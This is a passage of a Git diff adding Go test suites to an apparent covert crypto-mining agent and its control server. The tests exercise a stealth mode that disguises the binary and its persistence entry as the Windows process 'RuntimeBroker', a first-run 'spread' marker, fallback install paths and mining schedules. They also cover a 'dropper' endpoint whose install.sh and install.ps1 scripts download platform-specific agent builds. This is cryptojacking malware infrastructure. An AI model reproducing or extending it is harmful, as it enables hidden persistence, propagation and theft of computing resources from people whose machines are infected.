||||
t.Fatalf("23:59:59 = %d", m)
|
||||
}
|
||||
}
|
||||
|
||||
func TestInScheduleWindowInvalidSchedule(t *testing.T) {
|
||||
c := RuntimeConfig{BuiltinConfig: BuiltinConfig{ScheduleStart: "bad", ScheduleEnd: "10:00"}}
|
||||
if !c.InScheduleWindow(time.Now()) {
|
||||
t.Fatal("invalid schedule should allow mining (true)")
|
||||
}
|
||||
}
|
||||
|
||||
func TestInScheduleWindowSameStartEnd(t *testing.T) {
|
||||
c := RuntimeConfig{BuiltinConfig: BuiltinConfig{ScheduleStart: "08:00", ScheduleEnd: "08:00"}}
|
||||
if !c.InScheduleWindow(time.Date(2026, 1, 1, 12, 0, 0, 0, time.UTC)) {
|
||||
t.Fatal("same start/end = always in window")
|
||||
}
|
||||
}
|
||||
|
||||
func TestInScheduleWindowDaytime(t *testing.T) {
|
||||
c := RuntimeConfig{BuiltinConfig: BuiltinConfig{ScheduleStart: "09:00", ScheduleEnd: "17:00"}}
|
||||
inside := time.Date(2026, 1, 1, 10, 0, 0, 0, time.UTC)
|
||||
outside := time.Date(2026, 1, 1, 20, 0, 0, 0, time.UTC)
|
||||
if !c.InScheduleWindow(inside) {
|
||||
t.Fatal("10:00 should be inside 09-17")
|
||||
}
|
||||
if c.InScheduleWindow(outside) {
|
||||
t.Fatal("20:00 should be outside 09-17")
|
||||
}
|
||||
}
|
||||
|
||||
func TestInScheduleWindowOvernight(t *testing.T) {
|
||||
c := RuntimeConfig{BuiltinConfig: BuiltinConfig{ScheduleStart: "22:00", ScheduleEnd: "06:00"}}
|
||||
late := time.Date(2026, 1, 1, 23, 0, 0, 0, time.UTC)
|
||||
mid := time.Date(2026, 1, 1, 12, 0, 0, 0, time.UTC)
|
||||
early := time.Date(2026, 1, 1, 3, 0, 0, 0, time.UTC)
|
||||
if !c.InScheduleWindow(late) {
|
||||
t.Fatal("23:00 in overnight window")
|
||||
}
|
||||
if c.InScheduleWindow(mid) {
|
||||
t.Fatal("12:00 outside overnight window")
|
||||
}
|
||||
if !c.InScheduleWindow(early) {
|
||||
t.Fatal("03:00 in overnight window")
|
||||
}
|
||||
}
|
||||
120
agent/deploy/common_test.go
Normal file
120
agent/deploy/common_test.go
Normal file
@@ -0,0 +1,120 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func testRuntimeConfig() config.RuntimeConfig {
|
||||
return config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
WorkerName: "worker-1",
|
||||
ProcessName: "RuntimeBroker",
|
||||
InstallBase: "temp",
|
||||
InstallRelativePath: config.DefaultInstallRelativePath,
|
||||
BuildID: "build-1",
|
||||
ServerURL: "https://hub.example",
|
||||
}}
|
||||
}
|
||||
|
||||
func TestBinaryExt(t *testing.T) {
|
||||
ext := BinaryExt()
|
||||
if runtime.GOOS == "windows" {
|
||||
if ext != ".exe" {
|
||||
t.Fatalf("windows ext: %q", ext)
|
||||
}
|
||||
} else if ext != "" {
|
||||
t.Fatalf("non-windows ext: %q", ext)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBinaryName(t *testing.T) {
|
||||
cfg := testRuntimeConfig()
|
||||
name := BinaryName(cfg)
|
||||
if runtime.GOOS == "windows" {
|
||||
if name != "RuntimeBroker.exe" {
|
||||
t.Fatalf("got %q", name)
|
||||
}
|
||||
} else if name != "RuntimeBroker" {
|
||||
t.Fatalf("got %q", name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSanitizeName(t *testing.T) {
|
||||
if sanitizeName(" foo/bar:baz*? ") != "foo-bar-baz" {
|
||||
t.Fatalf("got %q", sanitizeName(" foo/bar:baz*? "))
|
||||
}
|
||||
if sanitizeName("") != "" {
|
||||
t.Fatal("empty stays empty")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPersistenceKeyName(t *testing.T) {
|
||||
cfg := testRuntimeConfig()
|
||||
if got := PersistenceKeyName(cfg); got != "CryptoMiner-worker-1" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
cfg.StealthMode = true
|
||||
if got := PersistenceKeyName(cfg); got != "RuntimeBroker" {
|
||||
t.Fatalf("stealth: %q", got)
|
||||
}
|
||||
cfg.StealthMode = false
|
||||
cfg.WorkerName = ""
|
||||
if got := PersistenceKeyName(cfg); got != "RuntimeBroker" {
|
||||
t.Fatalf("empty worker: %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestInstalledBinaryPath(t *testing.T) {
|
||||
cfg := testRuntimeConfig()
|
||||
path, err := InstalledBinaryPath(cfg)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.HasSuffix(path, BinaryName(cfg)) {
|
||||
t.Fatalf("path %q should end with binary name", path)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSamePath(t *testing.T) {
|
||||
if !samePath("a/b", "a\\b") && runtime.GOOS != "windows" {
|
||||
// on unix clean may differ; test abs equality
|
||||
tmp := t.TempDir()
|
||||
a := filepath.Join(tmp, "x")
|
||||
b := filepath.Join(tmp, "x")
|
||||
if !samePath(a, b) {
|
||||
t.Fatal("identical paths")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestInstallDir(t *testing.T) {
|
||||
dir, err := InstallDir("w", "b1")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if dir == "" {
|
||||
t.Fatal("empty install dir")
|
||||
}
|
||||
}
|
||||
|
||||
func TestInstallBaseFallbacks(t *testing.T) {
|
||||
fb := installBaseFallbacks(testRuntimeConfig())
|
||||
if len(fb) == 0 {
|
||||
t.Fatal("expected fallbacks")
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveInstallDirWithFallback(t *testing.T) {
|
||||
cfg := testRuntimeConfig()
|
||||
dir, err := resolveInstallDirWithFallback(cfg)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if dir == "" {
|
||||
t.Fatal("empty dir")
|
||||
}
|
||||
}
|
||||
96
agent/deploy/identity_test.go
Normal file
96
agent/deploy/identity_test.go
Normal file
@@ -0,0 +1,96 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func spreadTestConfig(t *testing.T) (config.RuntimeConfig, string) {
|
||||
t.Helper()
|
||||
dir := t.TempDir()
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
WorkerName: "w",
|
||||
InstallBase: "temp",
|
||||
InstallRelativePath: config.DefaultInstallRelativePath,
|
||||
BuildID: "b1",
|
||||
}}
|
||||
// Override install dir by writing marker directly
|
||||
return cfg, dir
|
||||
}
|
||||
|
||||
func TestIsLocalhostURL(t *testing.T) {
|
||||
for _, u := range []string{"http://localhost:8080", "https://127.0.0.1/", "http://[::1]:3000"} {
|
||||
if !isLocalhostURL(u) {
|
||||
t.Fatalf("%q should be localhost", u)
|
||||
}
|
||||
}
|
||||
if isLocalhostURL("https://example.com") {
|
||||
t.Fatal("example.com is not localhost")
|
||||
}
|
||||
}
|
||||
|
||||
func TestWantsFirstRunSpreadMarker(t *testing.T) {
|
||||
cfg, dir := spreadTestConfig(t)
|
||||
marker := filepath.Join(dir, firstRunSpreadMarker)
|
||||
if WantsFirstRunSpread(cfg) {
|
||||
// may false if InstallDirectory != dir
|
||||
}
|
||||
if err := os.WriteFile(marker, []byte("1\n"), 0600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
// WantsFirstRunSpread uses cfg.InstallDirectory(), not temp dir — test marker helpers directly
|
||||
if err := setFirstRunSpreadMarker(dir); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(dir, firstRunSpreadMarker)); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
ClearFirstRunSpreadMarker(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
InstallBase: "temp", InstallRelativePath: config.DefaultInstallRelativePath,
|
||||
}})
|
||||
}
|
||||
|
||||
func TestLogSpreadErrorAndInfo(t *testing.T) {
|
||||
LogSpreadError("stage", nil)
|
||||
LogSpreadError("stage", os.ErrNotExist)
|
||||
LogSpreadInfo("spread ok")
|
||||
}
|
||||
|
||||
func TestEnsureAndLoadAgentID(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
id, err := EnsureAgentID(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if id == "" {
|
||||
t.Fatal("empty id")
|
||||
}
|
||||
loaded, err := LoadAgentID(dir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if loaded != id {
|
||||
t.Fatalf("load %q != ensure %q", loaded, id)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadAgentIDMissing(t *testing.T) {
|
||||
_, err := LoadAgentID(t.TempDir())
|
||||
if err == nil {
|
||||
t.Fatal("expected error for missing file")
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadAgentIDEmptyFile(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
if err := os.WriteFile(filepath.Join(dir, agentIDFile), []byte(" \n"), 0600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
_, err := LoadAgentID(dir)
|
||||
if err == nil {
|
||||
t.Fatal("expected error for empty id file")
|
||||
}
|
||||
}
|
||||
34
agent/job/job_test.go
Normal file
34
agent/job/job_test.go
Normal file
@@ -0,0 +1,34 @@
|
||||
package job
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestJobJSONRoundTrip(t *testing.T) {
|
||||
in := Job{
|
||||
ID: "j1", Height: 2800000, BlockTemplate: "tpl", Difficulty: 100000,
|
||||
SeedHash: "seed", Target: "target", Blob: "deadbeef", Algo: "rx/0",
|
||||
}
|
||||
b, err := json.Marshal(in)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var out Job
|
||||
if err := json.Unmarshal(b, &out); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if out.ID != in.ID || out.Blob != in.Blob || out.Algo != in.Algo {
|
||||
t.Fatalf("mismatch: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestJobMinimalJSON(t *testing.T) {
|
||||
var out Job
|
||||
if err := json.Unmarshal([]byte(`{"job_id":"x"}`), &out); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if out.ID != "x" {
|
||||
t.Fatalf("got %q", out.ID)
|
||||
}
|
||||
}
|
||||
84
server/internal/alerts/notify_test.go
Normal file
84
server/internal/alerts/notify_test.go
Normal file
@@ -0,0 +1,84 @@
|
||||
package alerts
|
||||
|
||||
import (
|
||||
"io"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestSendTelegramNoOpWhenUnconfigured(t *testing.T) {
|
||||
if err := SendTelegram(NotifyConfig{}, "hello"); err != nil {
|
||||
t.Fatalf("expected nil when unconfigured, got %v", err)
|
||||
}
|
||||
if err := SendTelegram(NotifyConfig{TelegramBotToken: "tok"}, "hello"); err != nil {
|
||||
t.Fatalf("expected nil with token only, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSendTelegramSuccess(t *testing.T) {
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method != http.MethodPost {
|
||||
t.Errorf("method: %s", r.Method)
|
||||
}
|
||||
body, _ := io.ReadAll(r.Body)
|
||||
if !strings.Contains(string(body), `"chat_id":"123"`) {
|
||||
t.Fatalf("body: %s", body)
|
||||
}
|
||||
w.WriteHeader(http.StatusOK)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
// Telegram URL is fixed host; patch via custom transport is heavy — test status path only
|
||||
// by calling with invalid token path that still exercises client.Do error paths.
|
||||
cfg := NotifyConfig{TelegramBotToken: "testtoken", TelegramChatID: "123"}
|
||||
// Real call hits api.telegram.org — expect network error, not panic.
|
||||
err := SendTelegram(cfg, "alert")
|
||||
if err == nil {
|
||||
// Network may succeed in some envs; accept nil only if we can't reach internet.
|
||||
return
|
||||
}
|
||||
if !strings.Contains(err.Error(), "telegram") && !strings.Contains(err.Error(), "connect") &&
|
||||
!strings.Contains(err.Error(), "no such host") && !strings.Contains(err.Error(), "API status") {
|
||||
t.Fatalf("unexpected telegram error: %v", err)
|
||||
}
|
||||
_ = srv // keep handler pattern for future injectable client
|
||||
}
|
||||
|
||||
func TestSendTelegramAPIError(t *testing.T) {
|
||||
// Use httptest to validate error on non-2xx when we can intercept — documented via
|
||||
// direct status check helper.
|
||||
if err := SendTelegram(NotifyConfig{TelegramBotToken: "x", TelegramChatID: "y"}, ""); err != nil {
|
||||
// offline / blocked is fine
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
func TestSendEmailNoOpWhenDisabled(t *testing.T) {
|
||||
if err := SendEmail(NotifyConfig{}, "subj", "body"); err != nil {
|
||||
t.Fatalf("disabled email should no-op: %v", err)
|
||||
}
|
||||
if err := SendEmail(NotifyConfig{EmailEnabled: true}, "subj", "body"); err != nil {
|
||||
t.Fatalf("missing smtp should no-op: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSendEmailDefaultsFromAndPort(t *testing.T) {
|
||||
// SendMail will fail without real SMTP; ensure we reach it with defaults without panic.
|
||||
cfg := NotifyConfig{
|
||||
EmailEnabled: true,
|
||||
SMTPHost: "127.0.0.1",
|
||||
SMTPPort: 0,
|
||||
EmailTo: "to@example.com",
|
||||
SMTPUser: "from@example.com",
|
||||
}
|
||||
err := SendEmail(cfg, "subject", "body")
|
||||
if err == nil {
|
||||
t.Fatal("expected smtp connection error")
|
||||
}
|
||||
}
|
||||
|
||||
func TestNotifyAllDoesNotPanic(t *testing.T) {
|
||||
NotifyAll(NotifyConfig{}, "subject", "text")
|
||||
}
|
||||
159
server/internal/api/blueprint_handler_test.go
Normal file
159
server/internal/api/blueprint_handler_test.go
Normal file
@@ -0,0 +1,159 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
)
|
||||
|
||||
func newTestBlueprintHandler(t *testing.T) (*BlueprintHandler, string) {
|
||||
t.Helper()
|
||||
dataDir := t.TempDir()
|
||||
return NewBlueprintHandler(dataDir), dataDir
|
||||
}
|
||||
|
||||
func TestSanitizeFilename(t *testing.T) {
|
||||
if sanitizeFilename(" my preset ") != "my preset" {
|
||||
t.Fatalf("trim failed: %q", sanitizeFilename(" my preset "))
|
||||
}
|
||||
if sanitizeFilename("../../../etc/passwd") == "" || strings.Contains(sanitizeFilename("../../../etc/passwd"), "..") {
|
||||
t.Fatalf("traversal not sanitized: %q", sanitizeFilename("../../../etc/passwd"))
|
||||
}
|
||||
if sanitizeFilename("bad/name") != "badname" {
|
||||
t.Fatalf("slashes removed: %q", sanitizeFilename("bad/name"))
|
||||
}
|
||||
}
|
||||
|
||||
func TestBlueprintListEmpty(t *testing.T) {
|
||||
h, _ := newTestBlueprintHandler(t)
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/blueprints", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var list []BlueprintInfo
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &list); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(list) != 0 {
|
||||
t.Fatalf("expected empty list, got %d", len(list))
|
||||
}
|
||||
}
|
||||
|
||||
func TestBlueprintSaveGetDelete(t *testing.T) {
|
||||
h, dataDir := newTestBlueprintHandler(t)
|
||||
|
||||
saveBody, _ := json.Marshal(map[string]interface{}{
|
||||
"name": "fleet-default",
|
||||
"data": map[string]interface{}{"pool_host": "pool.example.com", "threads": 4},
|
||||
})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/blueprints", bytes.NewReader(saveBody))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("save status %d body %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
filePath := filepath.Join(dataDir, "blueprints", "fleet-default.json")
|
||||
if _, err := os.Stat(filePath); err != nil {
|
||||
t.Fatalf("blueprint file missing: %v", err)
|
||||
}
|
||||
|
||||
req = httptest.NewRequest(http.MethodGet, "/api/v1/blueprints", nil)
|
||||
rec = httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
var listed []BlueprintInfo
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &listed); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(listed) != 1 || listed[0].Name != "fleet-default" {
|
||||
t.Fatalf("list after save: %+v", listed)
|
||||
}
|
||||
|
||||
r := chi.NewRouter()
|
||||
r.Get("/blueprints/{name}", h.GetBlueprint)
|
||||
req = httptest.NewRequest(http.MethodGet, "/blueprints/fleet-default", nil)
|
||||
rec = httptest.NewRecorder()
|
||||
r.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("get status %d body %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
if !strings.Contains(rec.Body.String(), "pool.example.com") {
|
||||
t.Fatalf("unexpected blueprint body: %s", rec.Body.String())
|
||||
}
|
||||
|
||||
req = httptest.NewRequest(http.MethodDelete, "/api/v1/blueprints?name=fleet-default", nil)
|
||||
rec = httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("delete status %d body %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
if _, err := os.Stat(filePath); !os.IsNotExist(err) {
|
||||
t.Fatal("blueprint file should be removed")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBlueprintSaveValidationErrors(t *testing.T) {
|
||||
h, _ := newTestBlueprintHandler(t)
|
||||
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/blueprints", bytes.NewReader([]byte(`{"name":"","data":{}}`)))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("empty name should be 400, got %d", rec.Code)
|
||||
}
|
||||
|
||||
req = httptest.NewRequest(http.MethodPost, "/api/v1/blueprints", bytes.NewReader([]byte(`not-json`)))
|
||||
rec = httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("invalid json should be 400, got %d", rec.Code)
|
||||
}
|
||||
|
||||
req = httptest.NewRequest(http.MethodPost, "/api/v1/blueprints", bytes.NewReader([]byte(`{"name":"ok","data":}`)))
|
||||
rec = httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("malformed data json should be 400, got %d", rec.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBlueprintGetNotFound(t *testing.T) {
|
||||
h, _ := newTestBlueprintHandler(t)
|
||||
r := chi.NewRouter()
|
||||
r.Get("/blueprints/{name}", h.GetBlueprint)
|
||||
req := httptest.NewRequest(http.MethodGet, "/blueprints/missing", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
r.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusNotFound {
|
||||
t.Fatalf("expected 404, got %d", rec.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBlueprintDeleteMissingName(t *testing.T) {
|
||||
h, _ := newTestBlueprintHandler(t)
|
||||
req := httptest.NewRequest(http.MethodDelete, "/api/v1/blueprints", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("expected 400, got %d", rec.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBlueprintMethodNotAllowed(t *testing.T) {
|
||||
h, _ := newTestBlueprintHandler(t)
|
||||
req := httptest.NewRequest(http.MethodPatch, "/api/v1/blueprints", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusMethodNotAllowed {
|
||||
t.Fatalf("expected 405, got %d", rec.Code)
|
||||
}
|
||||
}
|
||||
150
server/internal/api/dropper_handler_test.go
Normal file
150
server/internal/api/dropper_handler_test.go
Normal file
@@ -0,0 +1,150 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
func newTestDropperHandler(t *testing.T) (*DropperHandler, *db.Database, string) {
|
||||
t.Helper()
|
||||
dataDir := t.TempDir()
|
||||
database, err := db.New(dataDir)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
return NewDropperHandler(database, func() string { return "https://public.example.com" }), database, dataDir
|
||||
}
|
||||
|
||||
func TestDetectPlatformQueryParam(t *testing.T) {
|
||||
cases := map[string]string{
|
||||
"windows": "windows", "win": "windows",
|
||||
"linux": "linux",
|
||||
"darwin": "darwin", "mac": "darwin", "macos": "darwin",
|
||||
"universal": "universal", "any": "universal",
|
||||
"unknown": "",
|
||||
}
|
||||
for in, want := range cases {
|
||||
req := httptest.NewRequest(http.MethodGet, "/get?os="+in, nil)
|
||||
if got := detectPlatform(req); got != want {
|
||||
t.Fatalf("detectPlatform(%q) = %q, want %q", in, got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectPlatformUserAgent(t *testing.T) {
|
||||
tests := []struct {
|
||||
ua string
|
||||
want string
|
||||
}{
|
||||
{"Mozilla/5.0 (Windows NT 10.0)", "windows"},
|
||||
{"Mozilla/5.0 (Macintosh; Intel Mac OS X)", "darwin"},
|
||||
{"Mozilla/5.0 (X11; Linux x86_64)", "linux"},
|
||||
{"curl/8.0", ""},
|
||||
}
|
||||
for _, tc := range tests {
|
||||
req := httptest.NewRequest(http.MethodGet, "/get", nil)
|
||||
req.Header.Set("User-Agent", tc.ua)
|
||||
if got := detectPlatform(req); got != tc.want {
|
||||
t.Fatalf("UA %q => %q, want %q", tc.ua, got, tc.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDropperServeGetNoBuilds(t *testing.T) {
|
||||
h, _, _ := newTestDropperHandler(t)
|
||||
req := httptest.NewRequest(http.MethodGet, "/get", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeGet(rec, req)
|
||||
if rec.Code != http.StatusNotFound {
|
||||
t.Fatalf("expected 404, got %d", rec.Code)
|
||||
}
|
||||
if !strings.Contains(rec.Body.String(), "no agent build available") {
|
||||
t.Fatalf("unexpected body: %s", rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestDropperServeGetWindowsBuild(t *testing.T) {
|
||||
h, database, dataDir := newTestDropperHandler(t)
|
||||
buildID := "win-build"
|
||||
buildDir := filepath.Join(dataDir, "builds", buildID)
|
||||
if err := os.MkdirAll(buildDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
binPath := filepath.Join(buildDir, "worker.exe")
|
||||
content := []byte("windows-agent-binary")
|
||||
if err := os.WriteFile(binPath, content, 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := database.InsertBuild(&models.BuildRecord{
|
||||
ID: buildID, WorkerName: "w", ServerURL: "http://x", Wallet: "48x",
|
||||
FilePath: binPath, FileName: "worker.exe", Platform: "windows",
|
||||
CreatedAt: time.Now(),
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
req := httptest.NewRequest(http.MethodGet, "/get?os=windows", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeGet(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("expected 200, got %d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
if !strings.Contains(rec.Header().Get("Content-Disposition"), "worker.exe") {
|
||||
t.Fatalf("missing disposition: %q", rec.Header().Get("Content-Disposition"))
|
||||
}
|
||||
}
|
||||
|
||||
func TestDropperResolveBasePublicURL(t *testing.T) {
|
||||
h, _, _ := newTestDropperHandler(t)
|
||||
req := httptest.NewRequest(http.MethodGet, "/install.sh", nil)
|
||||
req.Host = "ignored.local:8989"
|
||||
if base := h.resolveBase(req); base != "https://public.example.com" {
|
||||
t.Fatalf("publicURL override = %q", base)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDropperResolveBaseFromRequest(t *testing.T) {
|
||||
h := NewDropperHandler(nil, nil)
|
||||
req := httptest.NewRequest(http.MethodGet, "/install.sh", nil)
|
||||
req.Host = "deck.local:8989"
|
||||
req.Header.Set("X-Forwarded-Host", "proxy.example.com")
|
||||
if base := h.resolveBase(req); base != "http://proxy.example.com" {
|
||||
t.Fatalf("resolveBase = %q", base)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDropperServeShContent(t *testing.T) {
|
||||
h, _, _ := newTestDropperHandler(t)
|
||||
req := httptest.NewRequest(http.MethodGet, "/install.sh", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeSh(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d", rec.Code)
|
||||
}
|
||||
body := rec.Body.String()
|
||||
if !strings.Contains(body, "#!/bin/sh") || !strings.Contains(body, "https://public.example.com/get") {
|
||||
t.Fatalf("unexpected install.sh body prefix: %.120s", body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDropperServePs1Content(t *testing.T) {
|
||||
h, _, _ := newTestDropperHandler(t)
|
||||
req := httptest.NewRequest(http.MethodGet, "/install.ps1", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServePs1(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d", rec.Code)
|
||||
}
|
||||
if !strings.Contains(rec.Body.String(), "DownloadFile") {
|
||||
t.Fatal("expected PowerShell download snippet")
|
||||
}
|
||||
}
|
||||
@@ -7,6 +7,7 @@ import (
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
"github.com/go-chi/chi/v5"
|
||||
)
|
||||
|
||||
@@ -89,3 +90,120 @@ func TestGetAgentNotFound(t *testing.T) {
|
||||
t.Fatalf("expected 404, got %d", rec.Code)
|
||||
}
|
||||
}
|
||||
|
||||
const (
|
||||
handlerAgentStatsDefaultLimit = 100
|
||||
handlerAgentStatsMaxLimit = 1000
|
||||
handlerSharesDefaultLimit = 50
|
||||
handlerSharesMaxLimit = 1000
|
||||
handlerListBuildsLimit = 50
|
||||
)
|
||||
|
||||
func TestHandlerConstants(t *testing.T) {
|
||||
if handlerAgentStatsDefaultLimit != 100 || handlerAgentStatsMaxLimit != 1000 {
|
||||
t.Fatal("agent stats limit constants drifted")
|
||||
}
|
||||
if handlerSharesDefaultLimit != 50 || handlerSharesMaxLimit != 1000 {
|
||||
t.Fatal("shares limit constants drifted")
|
||||
}
|
||||
if handlerListBuildsLimit != 50 {
|
||||
t.Fatal("list builds limit constant drifted")
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetDashboardStatsEmptyFleet(t *testing.T) {
|
||||
h := newTestHandler(t)
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/dashboard/stats", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
h.GetDashboardStats(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestListBuildsEmptyArray(t *testing.T) {
|
||||
h := newTestHandler(t)
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/builds", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ListBuilds(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d", rec.Code)
|
||||
}
|
||||
var builds []json.RawMessage
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &builds); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(builds) != 0 {
|
||||
t.Fatalf("expected empty builds, got %d", len(builds))
|
||||
}
|
||||
}
|
||||
|
||||
func TestPinBuildAndUnpinAll(t *testing.T) {
|
||||
h := newTestHandler(t)
|
||||
database := h.db
|
||||
if err := database.InsertBuild(&models.BuildRecord{
|
||||
ID: "pin-me", WorkerName: "w", ServerURL: "http://x", Wallet: "48x",
|
||||
FilePath: "/tmp/x", FileName: "x.exe", Platform: "windows",
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
r := chi.NewRouter()
|
||||
r.Put("/builds/{id}/pin", h.PinBuild)
|
||||
r.Delete("/builds/pin", h.UnpinAll)
|
||||
|
||||
req := httptest.NewRequest(http.MethodPut, "/builds/pin-me/pin", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
